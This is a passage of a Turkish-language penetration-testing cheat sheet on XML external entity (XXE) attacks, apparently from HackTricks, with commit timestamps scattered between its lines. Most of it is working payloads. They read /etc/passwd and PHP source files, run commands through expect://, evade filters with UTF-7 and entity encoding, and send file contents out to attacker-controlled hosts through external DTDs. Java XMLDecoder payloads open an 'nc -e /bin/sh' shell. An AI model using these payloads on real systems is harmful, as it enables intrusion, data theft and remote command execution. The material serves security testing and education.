Başka bir yöntem, PHP "expect" sarmalayıcısı aracılığıyla komutları **çalıştırmaya** çalışmaktır:
2024-02-04 16:10:29 +00:00
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
2024-02-10 18:14:16 +00:00
<image xlink:href="expect://ls"></image>
</svg>
```
2024-02-10 18:14:16 +00:00
Her iki durumda da, sunucunun yazılımının XML işleme yeteneklerini istismar eden saldırıları başlatmak için SVG formatı kullanılır, bu da sağlam giriş doğrulama ve güvenlik önlemlerine olan ihtiyacı vurgular.
2024-02-04 16:10:29 +00:00
2024-02-10 18:14:16 +00:00
Daha fazla bilgi için [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) adresini kontrol edin!
2024-02-10 18:14:16 +00:00
**Not: Dosya okuma veya yürütme sonucunun ilk satırı OLUŞTURULAN resmin İÇİNDE görünecektir. Bu nedenle, SVG'nin oluşturduğu resme erişebilmeniz gerekmektedir.**
2024-02-10 18:14:16 +00:00
### **PDF - Dosya yükleme**
2020-10-15 13:16:06 +00:00
2024-02-10 18:14:16 +00:00
Bir XXE'yi sömürmek için bir PDF dosyası yüklemeyi nasıl gerçekleştireceğinizi öğrenmek için aşağıdaki gönderiyi okuyun:
2020-10-15 13:16:06 +00:00
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
{% endcontent-ref %}
2020-10-15 13:16:06 +00:00
2024-02-10 18:14:16 +00:00
### Content-Type: x-www-urlencoded'den XML'e
2024-02-10 18:14:16 +00:00
Bir POST isteği verileri XML formatında kabul ediyorsa, bu isteği bir XXE'yi sömürmek için kullanabilirsiniz. Örneğin, normal bir istek aşağıdakileri içeriyorsa:
2024-02-06 03:10:38 +00:00
```xml
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
```
2024-02-10 18:14:16 +00:00
Sonra aşağıdaki isteği gönderebilirsiniz, aynı sonuçla:
2024-02-06 03:10:38 +00:00
```xml
2020-11-17 16:58:54 +00:00
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
```
2024-02-10 18:14:16 +00:00
### Content-Type: JSON'dan XEE'ye
2024-02-10 18:14:16 +00:00
İsteği değiştirmek için "Content Type Converter" adlı bir Burp Eklentisini kullanabilirsiniz. Bu örneği [burada](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) bulabilirsiniz:
2024-02-06 03:10:38 +00:00
```xml
Content-Type: application/json;charset=UTF-8
2020-11-20 10:55:52 +00:00
{"root": {"root": {
2024-02-10 18:14:16 +00:00
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
```
2024-02-06 03:10:38 +00:00
```xml
Content-Type: application/xml;charset=UTF-8
2020-11-20 10:55:52 +00:00
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
2024-02-10 18:14:16 +00:00
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
2024-02-10 18:14:16 +00:00
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>
```
2024-02-10 18:14:16 +00:00
Başka bir örnek [burada](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2) bulunabilir.
2024-02-10 18:14:16 +00:00
## WAF ve Koruma Geçişleri
2022-09-30 10:43:59 +00:00
### Base64
2024-02-06 03:10:38 +00:00
```xml
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
```
2024-02-10 18:14:16 +00:00
Bu, XML sunucusunun `data://` protokolünü kabul ettiği durumlarda çalışır.
2022-09-30 10:43:59 +00:00
### UTF-7
2024-02-10 18:14:16 +00:00
Burada \[**"Encode Recipe**" of cyberchef here ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) UTF-7'ye dönüştürmek için \[**"Encode Recipe**" of cyberchef here ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) kullanabilirsiniz.
2024-02-06 03:10:38 +00:00
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
```
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
```
2024-02-10 18:14:16 +00:00
### Dosya:/ Protokolü Bypass
2024-02-10 18:14:16 +00:00
Eğer web PHP kullanıyorsa, `file:/` yerine **php wrappers**`php://filter/convert.base64-encode/resource=` kullanarak **iç dosyalara erişebilirsiniz**.
2021-08-23 12:33:52 +00:00
2024-02-10 18:14:16 +00:00
Eğer web Java kullanıyorsa [**jar: protokolünü**](xxe-xee-xml-external-entity.md#jar-protocol) kontrol edebilirsiniz.
2021-08-23 12:33:52 +00:00
2024-02-10 18:14:16 +00:00
### HTML Entiteleri
2021-08-23 12:33:52 +00:00
2024-02-10 18:14:16 +00:00
[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes) adresinden alınan bir hile\
**HTML entiteleri** kullanarak bir **entiteyi içinde bir entite oluşturabilir** ve ardından bir dtd yüklemek için onu çağırabilirsiniz.\
Kullanılan **HTML Entiteleri**nin **sayısal** olması gerektiğini unutmayın (örnekteki gibi \[bu örnekte]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
2024-02-06 03:10:38 +00:00
```xml
2022-04-05 22:24:52 +00:00
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
2021-08-23 12:33:52 +00:00
<data>
2024-02-10 18:14:16 +00:00
<env>&exfil;</env>
2021-08-23 12:33:52 +00:00
</data>
```
2024-02-10 18:14:16 +00:00
DTD örneği:
2021-08-23 12:33:52 +00:00
2024-02-10 18:14:16 +00:00
```xml
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
```
2021-08-23 12:33:52 +00:00
2024-02-10 18:14:16 +00:00
Bu örnekte, `DOCTYPE` tanımında `foo` adında bir öğe ve `xxe` adında bir varlık tanımlanmıştır. `xxe` varlığı, `/etc/passwd` dosyasını okumak için kullanılır. `foo` öğesinde `&xxe;` varlığı çağrılarak `/etc/passwd` dosyasının içeriği alınır.
2024-02-06 03:10:38 +00:00
```xml
2021-08-23 12:33:52 +00:00
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;
```
2024-02-10 18:14:16 +00:00
## PHP Sargılayıcıları
2022-09-30 10:43:59 +00:00
### Base64
2024-02-10 18:14:16 +00:00
**index.php** _dosyasını çıkarın_
2024-02-06 03:10:38 +00:00
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
```
2024-02-10 18:14:16 +00:00
#### **Harici kaynak çıkarma**
XXE saldırıları, XML dış varlık (External Entity) işleme zafiyetlerini hedef alır. Bu saldırılar, XML verilerini işleyen uygulamalarda güvenlik açıkları kullanarak harici kaynakları çıkarmayı amaçlar.
2024-02-10 18:14:16 +00:00
Bu saldırı türü, hedef uygulamanın XML verilerini işlerken dış varlıkları yüklemesine izin veren bir zafiyet olduğunda gerçekleştirilebilir. Saldırgan, XML verilerine özel bir dış varlık tanımlayarak, hedef uygulamanın bu dış varlığı işlemesini sağlar. Bu dış varlık, saldırganın kontrol ettiği bir kaynağa işaret edebilir, böylece saldırgan, hedef uygulamanın bu kaynağa erişmesini sağlayabilir.
2024-02-10 18:14:16 +00:00
XXE saldırıları, hassas verilerin çalınması, sistem kaynaklarının ifşa edilmesi veya hedef uygulamanın hizmet dışı kalması gibi ciddi sonuçlara yol açabilir. Bu nedenle, uygulama geliştiricilerinin güvenli XML işleme tekniklerini kullanmaları önemlidir.
2024-02-06 03:10:38 +00:00
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
```
2024-02-10 18:14:16 +00:00
### Uzaktan kod yürütme
2024-02-10 18:14:16 +00:00
**Eğer PHP "expect" modülü yüklenmişse**
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
2024-02-10 18:14:16 +00:00
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
```
2022-09-30 10:43:59 +00:00
## **SOAP - XEE**
2024-02-10 18:14:16 +00:00
SOAP (Simple Object Access Protocol), XML tabanlı bir iletişim protokolüdür ve web servislerinde sıklıkla kullanılır. SOAP, XML mesajlarını kullanarak istemci ve sunucu arasında veri alışverişi yapar. SOAP tabanlı web servislerinde, XEE (XML External Entity) saldırıları yaygın olarak kullanılan bir zayıflıktır.
### XEE Nedir?
XML External Entity (XEE), XML tabanlı uygulamalarda bulunan bir güvenlik açığıdır. Bu saldırı türünde, saldırgan, XML dökümanında harici bir varlık (external entity) tanımlayarak, sunucunun hassas verilerini ifşa etmesini sağlar. XEE saldırıları, SOAP tabanlı web servislerinde özellikle yaygın olarak kullanılır.
### XEE Saldırıları Nasıl Gerçekleştirilir?
XEE saldırıları, XML dökümanında yer alan harici varlık tanımlamaları aracılığıyla gerçekleştirilir. Saldırgan, XML dökümanına özel bir varlık tanımlayarak, sunucunun dosya sistemine erişim sağlayabilir veya hassas verileri ifşa edebilir.
XEE saldırıları genellikle şu adımları içerir:
1. XML dökümanında harici bir varlık tanımlama.
2. Harici varlık kullanarak sunucunun dosya sistemine erişim veya hassas verilerin ifşa edilmesi.
### XEE Saldırılarının Etkileri
XEE saldırıları, başarılı bir şekilde gerçekleştirildiğinde ciddi güvenlik sorunlarına yol açabilir. Saldırgan, sunucunun dosya sistemine erişim sağlayarak, hassas verilere erişebilir veya sunucunun hizmetini engelleyebilir. Bu tür saldırılar, kullanıcıların gizli bilgilerinin ifşa edilmesine veya yetkisiz erişime neden olabilir.
### XEE Saldırılarına Karşı Korunma Yöntemleri
XEE saldırılarına karşı korunmak için aşağıdaki önlemler alınabilir:
1. Giriş doğrulama ve veri doğrulama işlemlerinin güvenli bir şekilde gerçekleştirilmesi.
2. XML dökümanlarının güvenli bir şekilde işlenmesi için güvenilir XML işleme kütüphanelerinin kullanılması.
3. Harici varlık tanımlamalarının devre dışı bırakılması veya sınırlanması.
4. Güvenlik duvarı ve güvenlik politikalarının doğru şekilde yapılandırılması.
XEE saldırılarına karşı korunmak için güvenlik açıklarının düzgün bir şekilde tespit edilmesi ve düzeltilmesi önemlidir. Bu nedenle, düzenli güvenlik testleri ve güncellemeler yapılmalıdır.
2024-02-06 03:10:38 +00:00
```xml
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
```
2022-09-30 10:43:59 +00:00
## XLIFF - XXE
2021-07-20 10:48:25 +00:00
2024-02-10 18:14:16 +00:00
Bu örnek, [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) adresinden esinlenilmiştir.
2021-07-20 10:48:25 +00:00
2024-02-10 18:14:16 +00:00
XLIFF (XML Localization Interchange File Format), yerelleştirme süreçlerinde veri alışverişini standartlaştırmak için kullanılır. Bu, yerelleştirme sırasında araçlar arasında yerelleştirilebilir veri transferi için kullanılan XML tabanlı bir formattır ve CAT (Bilgisayar Destekli Çeviri) araçları için ortak bir değişim formatı olarak kullanılır.
2021-07-20 10:48:25 +00:00
2024-02-10 18:14:16 +00:00
### Kör İstek Analizi
2021-07-20 10:48:25 +00:00
2024-02-10 18:14:16 +00:00
Aşağıdaki içerikle sunucuya bir istek yapılır:
2024-02-06 03:10:38 +00:00
```xml
2021-07-20 10:48:25 +00:00
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
2024-02-10 18:14:16 +00:00
Ancak, bu istek içeride bir sunucu hatası tetikler ve özellikle işaretleme bildirimleriyle ilgili bir sorunu belirtir:
2024-02-05 02:29:11 +00:00
```json
2021-07-20 10:48:25 +00:00
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
```
2024-02-10 18:14:16 +00:00
Hata olmasına rağmen, Burp Collaborator'da bir vuruş kaydedilir ve bu da dış varlıkla bir şekilde etkileşim olduğunu gösterir.
2021-07-20 10:48:25 +00:00
2024-02-10 18:14:16 +00:00
Veri Dışarı Sızdırma Yoluyla Bağlantı Dışı Veri Çalma
Veri çalmak için değiştirilmiş bir istek gönderilir:
2024-02-05 02:29:11 +00:00
```
2021-07-20 10:48:25 +00:00
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
2024-02-10 18:14:16 +00:00
Bu yaklaşım, Kullanıcı Aracısının Java 1.8 kullanımını gösterdiğini ortaya koyar. Bu Java sürümünün bir kısıtlaması, /etc/passwd gibi yeni satır karakteri içeren dosyaların Out of Band tekniği kullanılarak alınamamasıdır.
2021-07-20 10:48:25 +00:00
2024-02-10 18:14:16 +00:00
Hata Tabanlı Veri Sızdırma
Bu kısıtlamayı aşmak için Hata Tabanlı bir yaklaşım kullanılır. DTD dosyası, bir hedef dosyadan veri içeren bir hatayı tetiklemek için aşağıdaki gibi yapılandırılır:
2024-02-05 02:29:11 +00:00
```xml
2021-07-20 10:48:25 +00:00
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
```
2024-02-10 18:14:16 +00:00
Sunucu bir hata ile yanıt verir, önemli olan mevcut olmayan dosyayı yansıtarak, sunucunun belirtilen dosyaya erişmeye çalıştığını gösterir:
2021-07-20 10:48:25 +00:00
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
2024-02-10 18:14:16 +00:00
Hata mesajında dosyanın içeriğini dahil etmek için DTD dosyası ayarlanır:
2024-02-05 02:29:11 +00:00
```xml
2021-07-20 10:48:25 +00:00
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;
```
2024-02-10 18:14:16 +00:00
Bu değişiklik, dosyanın içeriğinin başarılı bir şekilde dışarı sızdırılmasına yol açar, çünkü HTTP aracılığıyla gönderilen hata çıktısında yansıtılır. Bu, hassas bilgileri çıkarmak için Hem Out of Band hem de Hata Tabanlı teknikleri kullanarak başarılı bir XXE (XML External Entity) saldırısını gösterir.
2024-02-05 02:29:11 +00:00
2021-07-20 10:48:25 +00:00
2022-09-30 10:43:59 +00:00
## RSS - XEE
2024-02-10 18:14:16 +00:00
XXE zafiyetini sömürmek için geçerli bir RSS formatında XML.
2022-09-30 10:43:59 +00:00
### Ping back
2024-02-10 18:14:16 +00:00
Saldırganın sunucusuna basit bir HTTP isteği.
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
2024-02-10 18:14:16 +00:00
### Dosya Okuma
Bir XXE saldırısıyla hedef sistemin bir dosyayı okumasını sağlayabilirsiniz. Bu saldırıyı gerçekleştirmek için, hedef sisteme bir XML dökümanı göndermeniz gerekmektedir. XML dökümanında, hedefin okumasını istediğiniz dosyanın yolunu belirtmelisiniz.
Örneğin, aşağıdaki XML dökümanını hedef sisteme göndererek `/etc/passwd` dosyasını okumasını sağlayabilirsiniz:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
```
2024-02-10 18:14:16 +00:00
Hedef sistem bu XML dökümanını işlerken, `xxe` entity'sini `file:///etc/passwd` dosyasının içeriğiyle değiştirir ve sonuç olarak `/etc/passwd` dosyasının içeriğini size döner.
2024-02-10 18:14:16 +00:00
Bu saldırı tekniği, hedef sistemin hassas bilgilerini elde etmek için kullanılabilir. Ancak, bazı hedef sistemler XXE saldırılarına karşı korunmak için önlemler alır. Bu nedenle, saldırı yapmadan önce hedef sistemin bu tür bir saldırıya karşı savunmasız olup olmadığını kontrol etmek önemlidir.
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
2024-02-10 18:14:16 +00:00
### Kaynak kodunu oku
2024-02-10 18:14:16 +00:00
PHP base64 filtresi kullanarak
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
2022-09-30 10:43:59 +00:00
## Java XMLDecoder XEE to RCE
2024-02-10 18:14:16 +00:00
XMLDecoder, bir XML mesajına dayalı olarak nesneler oluşturan bir Java sınıfıdır. Kötü niyetli bir kullanıcı, bir uygulamanın **readObject** yöntemine keyfi veri kullanmasını sağlayabilirse, sunucuda anında kod yürütme yetkisi elde eder.
2024-02-10 18:14:16 +00:00
### Runtime().exec() Kullanımı
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
2024-02-10 18:14:16 +00:00
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>
```
2022-09-30 10:43:59 +00:00
### ProcessBuilder
2024-02-10 18:14:16 +00:00
ProcessBuilder, bir işlem oluşturmak ve yürütmek için kullanılan bir sınıftır. Bu sınıf, harici bir işlemi başlatmak için kullanılabilir ve işlemle etkileşimde bulunmak için gerekli olan giriş ve çıkış akışlarını yönetir.
ProcessBuilder, bir komut veya komut dosyası adı ve gerekli argümanlarla birlikte bir işlem oluşturmak için kullanılır. Ardından, işlemi başlatmak için `start()` yöntemi çağrılır.
İşlem başlatıldığında, işlemle etkileşimde bulunmak için `Process` sınıfının yöntemlerini kullanabilirsiniz. Örneğin, işlemi sonlandırmak için `destroy()` yöntemini kullanabilir veya işlem çıktısını almak için `getInputStream()` veya `getErrorStream()` yöntemlerini kullanabilirsiniz.
ProcessBuilder, bir işlemi başlatmak için kullanılan güvenli bir yöntemdir. Ancak, kötü niyetli kullanıcılar tarafından kötüye kullanılabilir. Özellikle, dışarıdan gelen verileri işlem argümanları olarak kullanırken dikkatli olmak önemlidir. Kötü niyetli kullanıcılar, XML dış etkileşimli varlıklarını (XXE) kullanarak hassas verileri sızdırabilir veya sistemdeki dosyaları okuyabilirler.
Bu nedenle, güvenlik açısından, dışarıdan gelen verileri işlem argümanları olarak kullanırken dikkatli olmalı ve gerekirse girişleri doğrulamalı veya sınırlamalıyız. Ayrıca, güvenlik duvarları ve filtreler gibi ek önlemler almak da önemlidir.
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
2024-02-10 18:14:16 +00:00
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>
```
2024-02-10 18:14:16 +00:00
## Araçlar
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
2024-02-10 18:14:16 +00:00
## Referanslar
2024-02-06 03:10:38 +00:00
* [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\
* [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\
2024-02-10 18:14:16 +00:00
* Kendi harici DTD kullanarak HTTP üzerinden bilgi çıkarma: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\
2024-02-06 03:10:38 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\
* [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\
* [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\
* [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları:
2024-02-03 14:45:32 +00:00
2024-02-10 18:14:16 +00:00
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
2022-04-28 16:01:33 +00:00
</details>